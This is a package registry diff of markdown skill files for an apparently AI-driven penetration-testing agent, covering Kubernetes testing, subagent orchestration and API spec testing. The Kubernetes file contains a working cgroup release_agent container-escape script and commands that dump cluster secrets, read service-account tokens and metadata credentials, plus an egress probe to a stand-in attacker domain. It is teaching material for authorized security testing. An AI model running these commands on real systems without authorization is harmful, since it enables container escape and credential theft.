@gpzhang2001/sharpkit-skills 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +201 -0
- package/README.md +12 -0
- package/THIRD_PARTY_NOTICES.md +48 -0
- package/lib/index.d.ts +2027 -0
- package/lib/index.d.ts.map +1 -0
- package/lib/index.js +70 -0
- package/lib/index.js.map +1 -0
- package/package.json +46 -0
- package/skills/analysis/counterevidence.md +185 -0
- package/skills/analysis/fix_verification.md +129 -0
- package/skills/analysis/severity_calibration.md +130 -0
- package/skills/analysis/source_aware_discovery.md +211 -0
- package/skills/cloud/aws.md +231 -0
- package/skills/cloud/azure.md +262 -0
- package/skills/cloud/gcp.md +194 -0
- package/skills/cloud/kubernetes.md +223 -0
- package/skills/coordination/root_agent.md +105 -0
- package/skills/coordination/source_aware_whitebox.md +47 -0
- package/skills/custom/api_spec_testing.md +61 -0
- package/skills/custom/dependency_cve_scanning.md +341 -0
- package/skills/custom/npx_confusion.md +233 -0
- package/skills/custom/source_aware_sast.md +192 -0
- package/skills/frameworks/django.md +214 -0
- package/skills/frameworks/fastapi.md +191 -0
- package/skills/frameworks/nestjs.md +225 -0
- package/skills/frameworks/nextjs.md +228 -0
- package/skills/protocols/graphql.md +276 -0
- package/skills/protocols/oauth.md +185 -0
- package/skills/reconnaissance/asset_discovery.md +150 -0
- package/skills/reconnaissance/infrastructure_lifecycle.md +226 -0
- package/skills/scan_modes/deep.md +164 -0
- package/skills/scan_modes/diff.md +86 -0
- package/skills/scan_modes/quick.md +68 -0
- package/skills/scan_modes/standard.md +99 -0
- package/skills/technologies/active_directory.md +233 -0
- package/skills/technologies/auth0.md +188 -0
- package/skills/technologies/electron_desktop_apps.md +181 -0
- package/skills/technologies/firebase.md +263 -0
- package/skills/technologies/grafana_prometheus.md +189 -0
- package/skills/technologies/llm_applications.md +257 -0
- package/skills/technologies/supabase.md +268 -0
- package/skills/tooling/agent_browser.md +551 -0
- package/skills/tooling/ffuf.md +72 -0
- package/skills/tooling/httpx.md +82 -0
- package/skills/tooling/hurl.md +99 -0
- package/skills/tooling/hypothesis.md +100 -0
- package/skills/tooling/katana.md +102 -0
- package/skills/tooling/naabu.md +68 -0
- package/skills/tooling/nmap.md +66 -0
- package/skills/tooling/nuclei.md +67 -0
- package/skills/tooling/python.md +109 -0
- package/skills/tooling/semgrep.md +72 -0
- package/skills/tooling/sqlmap.md +67 -0
- package/skills/tooling/subfinder.md +66 -0
- package/skills/vulnerabilities/agentic_system_security.md +207 -0
- package/skills/vulnerabilities/argument_injection.md +157 -0
- package/skills/vulnerabilities/authentication_jwt.md +166 -0
- package/skills/vulnerabilities/broken_function_level_authorization.md +154 -0
- package/skills/vulnerabilities/browser_security.md +192 -0
- package/skills/vulnerabilities/business_logic.md +178 -0
- package/skills/vulnerabilities/csrf.md +198 -0
- package/skills/vulnerabilities/header_injection.md +216 -0
- package/skills/vulnerabilities/http_request_smuggling.md +255 -0
- package/skills/vulnerabilities/idor.md +217 -0
- package/skills/vulnerabilities/information_disclosure.md +187 -0
- package/skills/vulnerabilities/insecure_deserialization.md +210 -0
- package/skills/vulnerabilities/insecure_file_uploads.md +194 -0
- package/skills/vulnerabilities/llm_prompt_injection.md +187 -0
- package/skills/vulnerabilities/mass_assignment.md +153 -0
- package/skills/vulnerabilities/nosql_injection.md +288 -0
- package/skills/vulnerabilities/open_redirect.md +165 -0
- package/skills/vulnerabilities/path_traversal_lfi_rfi.md +218 -0
- package/skills/vulnerabilities/prototype_pollution.md +142 -0
- package/skills/vulnerabilities/race_conditions.md +181 -0
- package/skills/vulnerabilities/rce.md +250 -0
- package/skills/vulnerabilities/semantic_confusion.md +189 -0
- package/skills/vulnerabilities/sql_injection.md +190 -0
- package/skills/vulnerabilities/ssrf.md +186 -0
- package/skills/vulnerabilities/ssti.md +270 -0
- package/skills/vulnerabilities/subdomain_takeover.md +167 -0
- package/skills/vulnerabilities/weak_password_detection.md +200 -0
- package/skills/vulnerabilities/xss.md +206 -0
- package/skills/vulnerabilities/xxe.md +223 -0
- package/src/index.ts +89 -0
|
@@ -0,0 +1,223 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: kubernetes
|
|
3
|
+
description: Kubernetes cluster security testing - RBAC, API exposure, container escapes, network policies, secrets, and supply chain
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Kubernetes Security Testing
|
|
7
|
+
|
|
8
|
+
Kubernetes clusters expose a large attack surface through their API server, kubelet, etcd, and workload configurations. Misconfigurations in RBAC, network policies, and container security contexts are common and frequently lead to privilege escalation, lateral movement, and cluster takeover. This skill covers direct cluster access scenarios. For SSRF-mediated Kubernetes access, see the ssrf skill.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
**Scope**
|
|
13
|
+
- Kubernetes API server (typically port 6443 or 443)
|
|
14
|
+
- Kubelet API (port 10250 authenticated, port 10255 deprecated read-only)
|
|
15
|
+
- etcd (port 2379/2380, stores all cluster state including secrets)
|
|
16
|
+
- Cloud provider metadata endpoints reachable from pods
|
|
17
|
+
- Container runtimes (containerd, CRI-O) via socket access
|
|
18
|
+
- Service mesh sidecars and ingress controllers
|
|
19
|
+
|
|
20
|
+
**Entry Points**
|
|
21
|
+
- Exposed API server with weak or anonymous authentication
|
|
22
|
+
- Compromised pod with mounted service account token
|
|
23
|
+
- CI/CD runner with cluster credentials (kubeconfig files, IRSA tokens)
|
|
24
|
+
- Exposed management UIs (Kubernetes Dashboard, Rancher, ArgoCD)
|
|
25
|
+
- Node-level access via SSH, cloud instance metadata, or container escape
|
|
26
|
+
|
|
27
|
+
**Authentication Methods**
|
|
28
|
+
- Service account tokens (mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
|
|
29
|
+
- Client certificates (kubeconfig files, often found in CI/CD configs, home dirs, cloud storage)
|
|
30
|
+
- OIDC tokens, webhook tokens, cloud provider IAM-to-K8s mappings (EKS IRSA, GKE Workload Identity)
|
|
31
|
+
- Anonymous access (enabled by default; unauthenticated requests become `system:anonymous` / `system:unauthenticated`, with only explicitly bound RBAC permissions such as public discovery/info roles)
|
|
32
|
+
|
|
33
|
+
## Key Vulnerabilities
|
|
34
|
+
|
|
35
|
+
### RBAC Misconfigurations
|
|
36
|
+
|
|
37
|
+
- Wildcard verbs or resources in ClusterRole/Role bindings: `verbs: ["*"]`, `resources: ["*"]`
|
|
38
|
+
- `cluster-admin` bound to service accounts that don't need it
|
|
39
|
+
- Pods running with `automountServiceAccountToken: true` (the default) when no API access is needed
|
|
40
|
+
- `system:anonymous` or `system:unauthenticated` group bound to permissive roles
|
|
41
|
+
- Roles that grant `escalate`, `bind`, or `impersonate` verbs
|
|
42
|
+
|
|
43
|
+
**Test:**
|
|
44
|
+
```
|
|
45
|
+
kubectl auth can-i --list
|
|
46
|
+
kubectl auth can-i create pods --as=system:serviceaccount:default:default
|
|
47
|
+
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "system:anonymous")'
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
### Exposed APIs
|
|
51
|
+
|
|
52
|
+
- API server with `--anonymous-auth=true` and permissive RBAC for anonymous users
|
|
53
|
+
- Kubelet read-only port 10255 serving `/pods`, `/spec`, `/stats`
|
|
54
|
+
- etcd without client certificate authentication: `etcdctl get / --prefix --keys-only`
|
|
55
|
+
- Kubernetes Dashboard with skip-login or default token
|
|
56
|
+
- Metrics endpoints (`/metrics`, `/debug/pprof`) leaking internal state
|
|
57
|
+
|
|
58
|
+
**Test:**
|
|
59
|
+
```
|
|
60
|
+
curl -sk https://<api-server>:6443/api/v1/namespaces
|
|
61
|
+
curl -s http://<node-ip>:10255/pods
|
|
62
|
+
curl -s http://<node-ip>:10255/metrics
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
### Container Escapes
|
|
66
|
+
|
|
67
|
+
- `privileged: true` in securityContext grants all Linux capabilities and device access
|
|
68
|
+
- `hostPID: true` enables `/proc` access to host processes, `nsenter` to host namespace
|
|
69
|
+
- `hostNetwork: true` places the pod on the host network stack
|
|
70
|
+
- Mounted Docker/containerd socket (`/var/run/docker.sock`, `/run/containerd/containerd.sock`)
|
|
71
|
+
- `CAP_SYS_ADMIN` + unconfined AppArmor enables mount namespace escapes via cgroup release_agent
|
|
72
|
+
- Writable `hostPath` mounts to `/`, `/etc`, or `/var/run`
|
|
73
|
+
|
|
74
|
+
**Test:**
|
|
75
|
+
```
|
|
76
|
+
# Check if running privileged
|
|
77
|
+
cat /proc/1/status | grep -i cap
|
|
78
|
+
# List host processes via hostPID
|
|
79
|
+
ls /proc/*/cmdline 2>/dev/null | head -20
|
|
80
|
+
# Check for mounted sockets
|
|
81
|
+
ls -la /var/run/docker.sock /run/containerd/containerd.sock 2>/dev/null
|
|
82
|
+
# cgroup v1 release_agent escape (privileged + CAP_SYS_ADMIN)
|
|
83
|
+
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
|
84
|
+
echo 1 > /tmp/cgrp/x/notify_on_release
|
|
85
|
+
host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
|
|
86
|
+
echo "$host_path/exploit.sh" > /tmp/cgrp/release_agent
|
|
87
|
+
echo '#!/bin/sh' > /exploit.sh && echo "ps aux > $host_path/out" >> /exploit.sh && chmod +x /exploit.sh
|
|
88
|
+
sh -c 'echo $$ > /tmp/cgrp/x/cgroup.procs'
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### Network Policy Gaps
|
|
92
|
+
|
|
93
|
+
- No NetworkPolicy objects means all pod-to-pod traffic is allowed by default
|
|
94
|
+
- Egress policies missing, allowing pods to reach cloud metadata, external C2, or internal services
|
|
95
|
+
- Policies that select by namespace label but don't account for label-squatting
|
|
96
|
+
- DNS (port 53 UDP/TCP) often exempted from egress rules, enabling DNS tunneling
|
|
97
|
+
|
|
98
|
+
**Test:**
|
|
99
|
+
```
|
|
100
|
+
kubectl get networkpolicies --all-namespaces
|
|
101
|
+
# From inside a pod, test lateral reach
|
|
102
|
+
curl -s http://<other-pod-ip>:<port>/
|
|
103
|
+
curl -s http://169.254.169.254/latest/meta-data/
|
|
104
|
+
nslookup attacker.com
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
### Secret Management Issues
|
|
108
|
+
|
|
109
|
+
- Secrets stored as base64 in etcd (not encrypted at rest by default)
|
|
110
|
+
- Secrets injected via environment variables (visible in `/proc/*/environ`, `docker inspect`, crash dumps)
|
|
111
|
+
- ConfigMaps containing credentials, API keys, connection strings
|
|
112
|
+
- Service account tokens auto-mounted into pods that never call the API
|
|
113
|
+
- Helm release secrets containing full chart values with credentials
|
|
114
|
+
|
|
115
|
+
**Test:**
|
|
116
|
+
```
|
|
117
|
+
kubectl get secrets --all-namespaces -o json | jq '.items[].metadata.name'
|
|
118
|
+
kubectl get secret <name> -o json | jq '.data | map_values(@base64d)'
|
|
119
|
+
env | grep -iE 'password|key|token|secret|credential'
|
|
120
|
+
cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
### Workload Misconfigurations
|
|
124
|
+
|
|
125
|
+
- Containers running as root (`runAsUser: 0` or no securityContext set)
|
|
126
|
+
- Missing `readOnlyRootFilesystem: true`
|
|
127
|
+
- No resource limits (enables resource exhaustion attacks, noisy neighbor DoS)
|
|
128
|
+
- `allowPrivilegeEscalation: true` (the default)
|
|
129
|
+
- Missing `seccompProfile` or AppArmor annotations
|
|
130
|
+
|
|
131
|
+
**Test:**
|
|
132
|
+
```
|
|
133
|
+
kubectl get pods -o json | jq '.items[].spec.containers[].securityContext'
|
|
134
|
+
kubectl get pods -o json | jq '.items[] | select(.spec.containers[].securityContext.privileged == true) | .metadata.name'
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
### Supply Chain Risks
|
|
138
|
+
|
|
139
|
+
- Images pulled from public registries without digest pinning (`:latest` tag is mutable)
|
|
140
|
+
- No image signing or admission policy (Kyverno, OPA Gatekeeper, Sigstore)
|
|
141
|
+
- Init containers or sidecar injectors pulling untrusted images
|
|
142
|
+
- Helm charts from unverified repos with post-install hooks
|
|
143
|
+
- CI/CD pipelines with broad cluster access and no image scanning
|
|
144
|
+
|
|
145
|
+
**Test:**
|
|
146
|
+
```
|
|
147
|
+
kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep -v '@sha256'
|
|
148
|
+
kubectl get pods -o json | jq '.items[].spec.containers[].image' | grep ':latest'
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
## Bypass Techniques
|
|
152
|
+
|
|
153
|
+
**Token Reuse**
|
|
154
|
+
- Service account tokens from one pod can access any API object the SA has permissions for
|
|
155
|
+
- Tokens from CI/CD systems often have broad access (deploy, create, delete)
|
|
156
|
+
- Expired tokens may still work if token verification is misconfigured
|
|
157
|
+
|
|
158
|
+
**Label Manipulation**
|
|
159
|
+
- If RBAC or NetworkPolicy selects by label, and attacker can set labels on their pod, they can bypass restrictions
|
|
160
|
+
- Namespace labels used for admission control can be manipulated if attacker has `update` on namespaces
|
|
161
|
+
|
|
162
|
+
**Admission Webhook Bypass**
|
|
163
|
+
- Dry-run requests bypass mutating webhooks
|
|
164
|
+
- Some webhooks only check specific API groups, leaving others unprotected
|
|
165
|
+
- Webhook failures configured as `failurePolicy: Ignore` silently bypass validation
|
|
166
|
+
|
|
167
|
+
**Kubelet Direct Access**
|
|
168
|
+
- The kubelet API on port 10250 accepts commands independently from the API server
|
|
169
|
+
- If you can reach a node's kubelet, you can exec into any pod on that node
|
|
170
|
+
- Anonymous kubelet access: `curl -sk https://<node>:10250/runningpods/`
|
|
171
|
+
|
|
172
|
+
## Testing Methodology
|
|
173
|
+
|
|
174
|
+
1. **Enumerate access** - Determine current auth context: `kubectl auth whoami`, `kubectl auth can-i --list`
|
|
175
|
+
2. **Map the cluster** - List namespaces, pods, services, nodes, and their labels: `kubectl get all -A`
|
|
176
|
+
3. **Check RBAC** - Review ClusterRoleBindings and RoleBindings for overly permissive grants
|
|
177
|
+
4. **Probe APIs** - Test API server, kubelet, etcd, and dashboard reachability from your context
|
|
178
|
+
5. **Inspect workloads** - Check securityContext, hostPID/hostNetwork, volume mounts, and image tags
|
|
179
|
+
6. **Test network reach** - From compromised pod, probe other pods, services, metadata endpoints, and external hosts
|
|
180
|
+
7. **Extract secrets** - Enumerate secrets, env vars, mounted tokens, and Helm release values
|
|
181
|
+
8. **Escalate** - Chain findings: SA token + permissive RBAC -> create privileged pod -> node access -> cluster-admin
|
|
182
|
+
9. **Benchmark** - Run `kube-bench` for CIS compliance, `kubesec` for workload hardening scores, `trivy` for image CVEs
|
|
183
|
+
|
|
184
|
+
## Validation
|
|
185
|
+
|
|
186
|
+
1. Prove access to resources beyond intended scope (cross-namespace secret read, exec into another team's pod)
|
|
187
|
+
2. Demonstrate privilege escalation path from initial access to elevated permissions (SA token -> cluster-admin)
|
|
188
|
+
3. Show actual credential extraction (token, kubeconfig) and verify it grants claimed access level
|
|
189
|
+
4. For container escapes, demonstrate host filesystem read or host process visibility without destructive actions
|
|
190
|
+
5. Confirm NetworkPolicy gaps by showing successful cross-namespace or metadata endpoint connections
|
|
191
|
+
|
|
192
|
+
## False Positives
|
|
193
|
+
|
|
194
|
+
- `kubectl auth can-i` returning `yes` for service accounts that are restricted by admission controllers or OPA policies
|
|
195
|
+
- Kubelet port 10250 reachable but returning 401/403 (authentication is working correctly)
|
|
196
|
+
- NetworkPolicy absent in a namespace that uses a CNI with default-deny (Calico GlobalNetworkPolicy)
|
|
197
|
+
- Service account tokens mounted but unused, with admission controllers preventing their abuse
|
|
198
|
+
- Images using `:latest` tag but pulled from a private registry with immutable tags enabled
|
|
199
|
+
|
|
200
|
+
## Impact
|
|
201
|
+
|
|
202
|
+
- Full cluster compromise from a single misconfigured RBAC binding or service account
|
|
203
|
+
- Lateral movement across namespaces and workloads via pod-to-pod communication
|
|
204
|
+
- Cloud account compromise via metadata endpoint access from pods (AWS keys, GCP tokens, Azure MSI)
|
|
205
|
+
- Supply chain attacks via compromised base images or Helm chart hooks
|
|
206
|
+
- Data exfiltration from secrets, ConfigMaps, and persistent volumes
|
|
207
|
+
- Denial of service through resource exhaustion in clusters without resource quotas
|
|
208
|
+
|
|
209
|
+
## Pro Tips
|
|
210
|
+
|
|
211
|
+
1. Start with `kubectl auth can-i --list` to understand your blast radius before probing anything
|
|
212
|
+
2. Service account tokens in `/var/run/secrets/` are your first pivot point from any compromised pod
|
|
213
|
+
3. Test metadata endpoint access early - cloud credentials from pods are the fastest path to cluster-admin
|
|
214
|
+
4. Check for `kube-system` namespace access - controllers there often have cluster-admin equivalent permissions
|
|
215
|
+
5. `kube-bench` output is noisy but highlights the CIS benchmark failures that matter most
|
|
216
|
+
6. Container escapes via cgroup release_agent require `CAP_SYS_ADMIN` (via `privileged: true` or an explicit capability grant) plus permissive AppArmor/seccomp confinement
|
|
217
|
+
7. Helm release secrets (`sh.helm.release.v1.*`) in `kube-system` often contain credentials from chart values
|
|
218
|
+
8. DNS from inside a pod reveals service names: `dig +short SRV *.*.svc.cluster.local`
|
|
219
|
+
9. When testing RBAC, try `--as=` impersonation to check what other service accounts can do
|
|
220
|
+
|
|
221
|
+
## Summary
|
|
222
|
+
|
|
223
|
+
Kubernetes security failures typically chain: a single misconfigured role binding or missing network policy enables lateral movement, which leads to secret extraction, which leads to cloud credential access. Test the chain, not just individual findings. Start from the auth context you have, enumerate what it can reach, and escalate methodically.
|
|
@@ -0,0 +1,105 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: root-agent
|
|
3
|
+
description: Orchestration layer that coordinates specialized subagents for security assessments
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Root Agent
|
|
7
|
+
|
|
8
|
+
Orchestration layer for security assessments. This agent coordinates specialized subagents but does not perform testing directly. You never run scanners, crawlers, or fuzzers and never send exploit/injection payloads yourself — not even a quick "basic" test on a discovered endpoint. Any work that touches the target is delegated to a subagent.
|
|
9
|
+
|
|
10
|
+
You can create agents throughout the testing process—not just at the beginning. Spawn agents dynamically based on findings and evolving scope.
|
|
11
|
+
|
|
12
|
+
## Role
|
|
13
|
+
|
|
14
|
+
- Decompose targets into discrete, parallelizable tasks
|
|
15
|
+
- Spawn and monitor specialized subagents
|
|
16
|
+
- Aggregate findings into a cohesive final report
|
|
17
|
+
- Manage dependencies and handoffs between agents
|
|
18
|
+
|
|
19
|
+
## Scope Decomposition
|
|
20
|
+
|
|
21
|
+
Before spawning agents, analyze the target from the scan config/scope and any provided context (and, once recon subagents report, from their results) — not by running recon tools yourself:
|
|
22
|
+
|
|
23
|
+
1. **Identify attack surfaces** - web apps, APIs, infrastructure, etc.
|
|
24
|
+
2. **Define boundaries** - in-scope domains, IP ranges, excluded assets
|
|
25
|
+
3. **Determine approach** - blackbox, greybox, or whitebox assessment
|
|
26
|
+
4. **Prioritize by risk** - critical assets and high-value targets first
|
|
27
|
+
|
|
28
|
+
## Establish the Threat Model
|
|
29
|
+
|
|
30
|
+
Every scan needs one shared answer to "who is the attacker here, and what are they attacking" — black-box or white-box. Without it, five agents derive five different answers and their findings cannot be reconciled. Call `get_threat_model` on the target (a host, a URL, or a repository path) before you spawn hunters; if no model exists yet, derive one and share it with `save_threat_model`. It lives for this scan only — nothing carries over from an earlier run, so every scan derives its own — but within the run every agent reads the same document, and a model written from source is read back by an agent testing the deployment.
|
|
31
|
+
|
|
32
|
+
**When the target includes a repository**, derive it up front: the code tells you the boundaries, entrypoints, and controls before you send a single request.
|
|
33
|
+
|
|
34
|
+
**Black-box, the ordering inverts.** You cannot model a target you have not seen, so recon comes first: spawn reconnaissance, and write the model from what it found — the hosts and ports that answered, the technology fingerprints, the authentication and session model, the roles and tenants you can distinguish, the endpoints and parameters enumerated. Then spawn the hunters against that model. Do not stall the scan waiting for a perfect picture and do not skip the step because the picture is partial: mark what is inferred rather than observed and let it be corrected. A black-box model that says "admin panel at `/admin` appears to be IP-restricted — unverified" is worth far more than no model, because it tells the next agent exactly what to go check.
|
|
35
|
+
|
|
36
|
+
Either way you write it with the least information anyone on this scan will ever have, so expect it to be wrong somewhere. Subagents correct it with `amend_threat_model`, which appends an attributed addendum instead of overwriting — expect many of these on a black-box run, as authenticating, pivoting between roles, and reaching internal surfaces is exactly what turns inference into fact. Read the amendments back before you write the final report: an agent telling you a boundary you called trusted is attacker-reachable is a finding about your model, not a note. Only call `save_threat_model` again to fold accumulated amendments into the body; it replaces the document and clears them.
|
|
37
|
+
|
|
38
|
+
## Reconcile Coverage Before Finishing
|
|
39
|
+
|
|
40
|
+
Coverage entries are shared and mutable. Before `finish_scan`, list the `needs_follow_up` rows: each one is either work you still owe or a row somebody already resolved without updating. Assign the former to a subagent and have it call `update_coverage` on the existing entry rather than recording a second one — a stale open item sitting next to its own resolution is worse than either alone.
|
|
41
|
+
|
|
42
|
+
## Agent Architecture
|
|
43
|
+
|
|
44
|
+
Structure agents by function:
|
|
45
|
+
|
|
46
|
+
**Reconnaissance**
|
|
47
|
+
- Asset discovery and enumeration
|
|
48
|
+
- Technology fingerprinting
|
|
49
|
+
- Attack surface mapping
|
|
50
|
+
|
|
51
|
+
**Vulnerability Assessment**
|
|
52
|
+
- Injection testing (SQLi, XSS, command injection)
|
|
53
|
+
- Authentication and session analysis
|
|
54
|
+
- Access control testing (IDOR, privilege escalation)
|
|
55
|
+
- Business logic flaws
|
|
56
|
+
- Infrastructure vulnerabilities
|
|
57
|
+
|
|
58
|
+
**Exploitation and Validation**
|
|
59
|
+
- Proof-of-concept development
|
|
60
|
+
- Impact demonstration
|
|
61
|
+
- Vulnerability chaining
|
|
62
|
+
|
|
63
|
+
**Reporting**
|
|
64
|
+
- Finding documentation
|
|
65
|
+
- Remediation recommendations
|
|
66
|
+
|
|
67
|
+
## Coordination Principles
|
|
68
|
+
|
|
69
|
+
**Task Independence**
|
|
70
|
+
|
|
71
|
+
Create agents with minimal dependencies. Parallel execution is faster than sequential.
|
|
72
|
+
|
|
73
|
+
**Clear Objectives**
|
|
74
|
+
|
|
75
|
+
Each agent should have a specific, measurable goal. Vague objectives lead to scope creep and redundant work.
|
|
76
|
+
|
|
77
|
+
**Avoid Duplication**
|
|
78
|
+
|
|
79
|
+
Before creating agents:
|
|
80
|
+
1. Analyze the target scope and break into independent tasks
|
|
81
|
+
2. Check existing agents to avoid overlap
|
|
82
|
+
3. Create agents with clear, specific objectives
|
|
83
|
+
|
|
84
|
+
**Hierarchical Delegation**
|
|
85
|
+
|
|
86
|
+
Complex findings warrant specialized subagents:
|
|
87
|
+
- Discovery agent finds potential vulnerability
|
|
88
|
+
- Validation agent confirms exploitability
|
|
89
|
+
- Reporting agent documents with reproduction steps AND supplies the fix inline (the report tool carries the patch via `code_locations`/`fix_pr_body`) — do not add a separate fix agent that re-derives the same patch
|
|
90
|
+
|
|
91
|
+
**Resource Efficiency**
|
|
92
|
+
|
|
93
|
+
- Avoid duplicate coverage across agents
|
|
94
|
+
- Terminate agents when objectives are met or no longer relevant
|
|
95
|
+
- Use message passing only when essential (requests/answers, critical handoffs)
|
|
96
|
+
- Prefer batched updates over routine status messages
|
|
97
|
+
|
|
98
|
+
## Completion
|
|
99
|
+
|
|
100
|
+
When all agents report completion:
|
|
101
|
+
|
|
102
|
+
1. Collect and deduplicate findings across agents
|
|
103
|
+
2. Assess overall security posture
|
|
104
|
+
3. Compile executive summary with prioritized recommendations
|
|
105
|
+
4. Invoke finish tool with final report
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: source-aware-whitebox
|
|
3
|
+
description: Coordination playbook for source-aware white-box testing with static triage and dynamic validation
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Source-Aware White-Box Coordination
|
|
7
|
+
|
|
8
|
+
Use this coordination playbook when repository source code is available.
|
|
9
|
+
|
|
10
|
+
## Objective
|
|
11
|
+
|
|
12
|
+
Increase white-box coverage by combining source-aware triage with dynamic validation. Source-aware tooling is expected by default when source is available.
|
|
13
|
+
|
|
14
|
+
## Recommended Workflow
|
|
15
|
+
|
|
16
|
+
1. Build a quick source map before deep exploitation, including at least one AST-structural pass (`sg` or `tree-sitter`) scoped to relevant paths.
|
|
17
|
+
- For `sg` baseline, derive `sg-targets.txt` from `semgrep.json` scope first (`paths.scanned`, fallback to unique `results[].path`) and run `xargs ... sg run` on that list.
|
|
18
|
+
- Only fall back to path heuristics when semgrep scope is unavailable.
|
|
19
|
+
2. Run first-pass static triage to rank high-risk paths.
|
|
20
|
+
3. Use triage outputs to prioritize dynamic PoC validation.
|
|
21
|
+
4. Keep findings evidence-driven: no report without validation.
|
|
22
|
+
|
|
23
|
+
## Source-Aware Triage Stack
|
|
24
|
+
|
|
25
|
+
- `semgrep`: fast security-first triage and custom pattern scans
|
|
26
|
+
- `ast-grep` (`sg`): structural pattern hunting and targeted repo mapping
|
|
27
|
+
- `tree-sitter`: syntax-aware parsing support for symbol and route extraction
|
|
28
|
+
- `gitleaks` + `trufflehog`: complementary secret detection (working tree and history coverage)
|
|
29
|
+
- `trivy fs`: dependency, misconfiguration, license, and secret checks
|
|
30
|
+
|
|
31
|
+
Coverage target per repository:
|
|
32
|
+
- one `semgrep` pass
|
|
33
|
+
- one AST structural pass (`sg` and/or `tree-sitter`)
|
|
34
|
+
- one secrets pass (`gitleaks` and/or `trufflehog`)
|
|
35
|
+
- one `trivy fs` pass
|
|
36
|
+
|
|
37
|
+
## Agent Delegation Guidance
|
|
38
|
+
|
|
39
|
+
- Keep child agents specialized by vulnerability/component as usual.
|
|
40
|
+
- For source-heavy subtasks, prefer creating child agents with `source_aware_sast` skill.
|
|
41
|
+
- Use source findings to shape payloads and endpoint selection for dynamic testing.
|
|
42
|
+
|
|
43
|
+
## Validation Guardrails
|
|
44
|
+
|
|
45
|
+
- Static findings are hypotheses until validated.
|
|
46
|
+
- Dynamic exploitation evidence is still required before vulnerability reporting.
|
|
47
|
+
- Keep scanner output concise, deduplicated, and mapped to concrete code locations.
|
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: api-spec-testing
|
|
3
|
+
description: Spec-driven API pentesting — systematically exercise every endpoint from an ingested OpenAPI/Swagger/Postman inventory for authz, injection, and business-logic flaws
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# API Spec Testing
|
|
7
|
+
|
|
8
|
+
When a target is an API specification (OpenAPI 3.x, Swagger 2.0, or a Postman
|
|
9
|
+
collection), the root task lists it under **API Specifications** with the path
|
|
10
|
+
to the spec file in the workspace and the authorized base URL(s). Read the spec
|
|
11
|
+
file first and build your own endpoint inventory from it — every operation with
|
|
12
|
+
its method, path, parameters, request-body schema (resolve `$ref`/`allOf`), and
|
|
13
|
+
auth scheme. Do not rediscover the surface by crawling. Walk the inventory
|
|
14
|
+
operation-by-operation and prove findings against the live base URL(s), which
|
|
15
|
+
are authorized in scope.
|
|
16
|
+
|
|
17
|
+
## Methodology
|
|
18
|
+
|
|
19
|
+
**1. Baseline the contract.** For each endpoint, send a well-formed request that
|
|
20
|
+
matches the declared schema and record the normal response (status, shape,
|
|
21
|
+
auth requirement). This baseline is what every abuse case is compared against.
|
|
22
|
+
|
|
23
|
+
**2. Enumerate coverage.** Track every `METHOD path` in the inventory and mark it
|
|
24
|
+
tested. Undocumented-but-implied siblings are worth probing too (e.g. if
|
|
25
|
+
`GET /users/{id}` exists, try `PUT`/`DELETE`/`PATCH` on the same path even when
|
|
26
|
+
the spec omits them — specs routinely under-document write operations).
|
|
27
|
+
|
|
28
|
+
**3. Prioritize by risk.** Object-scoped reads/writes, exports, admin/staff
|
|
29
|
+
operations, and anything touching billing, auth, or PII first.
|
|
30
|
+
|
|
31
|
+
## What to test per endpoint
|
|
32
|
+
|
|
33
|
+
Test the full range of API weaknesses against each operation, driven by what the
|
|
34
|
+
contract reveals — do not treat the following as an exhaustive checklist. The
|
|
35
|
+
highest-yield classes on APIs are **authorization** flaws, since the spec hands
|
|
36
|
+
you the object identifiers and privilege boundaries to abuse: examples include
|
|
37
|
+
BOLA/IDOR (swap `{id}`/`accountId`/`tenantId` across two accounts), BFLA
|
|
38
|
+
(privileged operations with a lower-privilege token), and missing/broken auth
|
|
39
|
+
(replay with the token stripped or expired against endpoints whose declared auth
|
|
40
|
+
says one is required). Beyond authorization, use the declared parameters and
|
|
41
|
+
body schema as a launch point for mass assignment and excessive data exposure,
|
|
42
|
+
injection and type-confusion on every parameter, and multi-step business-logic
|
|
43
|
+
and rate-limit abuse — and follow the contract wherever it suggests something
|
|
44
|
+
else worth probing.
|
|
45
|
+
|
|
46
|
+
## Validation
|
|
47
|
+
|
|
48
|
+
A finding is only real once reproduced against the live base URL with a
|
|
49
|
+
concrete request/response pair. Capture the exact HTTP request (method, path,
|
|
50
|
+
headers, body) and the response proving impact (another account's data, a
|
|
51
|
+
privileged action succeeding, an injected payload executing). Prefer two-account
|
|
52
|
+
diffs for authorization findings: same request, different token, unauthorized
|
|
53
|
+
success.
|
|
54
|
+
|
|
55
|
+
## Tips
|
|
56
|
+
|
|
57
|
+
- The base URL(s) from the spec are authorized targets — send real traffic.
|
|
58
|
+
- Path templates use `{param}`; substitute real values from your baseline.
|
|
59
|
+
- For Postman collections, saved example values and environment variables are
|
|
60
|
+
strong hints for valid inputs — use them to get past validation quickly.
|
|
61
|
+
- Keep a running coverage table so no operation in the inventory is skipped.
|